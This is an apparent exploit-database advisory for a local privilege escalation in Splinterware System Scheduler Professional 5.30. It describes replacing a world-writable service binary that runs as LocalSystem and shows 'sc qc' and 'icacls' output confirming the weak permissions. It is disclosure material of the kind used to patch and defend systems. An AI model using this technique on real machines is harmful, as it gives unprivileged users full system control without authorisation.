# Exploit Title: Splinterware System Scheduler Professional 5.30 - Privilege Escalation
# Date: 2021-05-11
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.splinterware.com
# Software Link: https://www.splinterware.com/download/ssproeval.exe
# Version: 5.30 Professional
# Tested on: Windows 10 Pro 20H2 x64
System Scheduler Professional 5.30 is subject to privilege escalation due to insecure file permissions, impacting
where the service 'WindowsScheduler' calls its executable. A non-privileged user could execute arbitrary code with
elevated privileges (system level privileges as "nt authority\system") since the service runs as Local System;
renaming the WService.exe file located in the software's path and replacing it with a malicious file, the new one
will be executed after a short while.
C:\Users\test>sc qc WindowsScheduler
[SC] QueryServiceConfig OPERAZIONI RIUSCITE
NOME_SERVIZIO: WindowsScheduler
TIPO : 10 WIN32_OWN_PROCESS
TIPO_AVVIO : 2 AUTO_START
CONTROLLO_ERRORE : 0 IGNORE
NOME_PERCORSO_BINARIO : C:\PROGRA~2\SYSTEM~1\WService.exe
GRUPPO_ORDINE_CARICAMENTO :
TAG : 0
NOME_VISUALIZZATO : System Scheduler Service
DIPENDENZE :
SERVICE_START_NAME : LocalSystem
C:\Users\test>icacls C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1\ BUILTIN\Users:(RX,W)
BUILTIN\Users:(OI)(CI)(IO)(GR,GW,GE)
NT SERVICE\TrustedInstaller:(I)(F)
NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(RX)
BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
CREATOR OWNER:(I)(OI)(CI)(IO)(F)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI:(I)(OI)(CI)(IO)(GR,GE)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(RX)
AUTORITÀ PACCHETTI APPLICAZIONI\TUTTI I PACCHETTI APPLICAZIONI CON RESTRIZIONI:(I)(OI)(CI)(IO)(GR,GE)
Elaborazione completata per 1 file. Elaborazione non riuscita per 0 file
C:\Users\test>
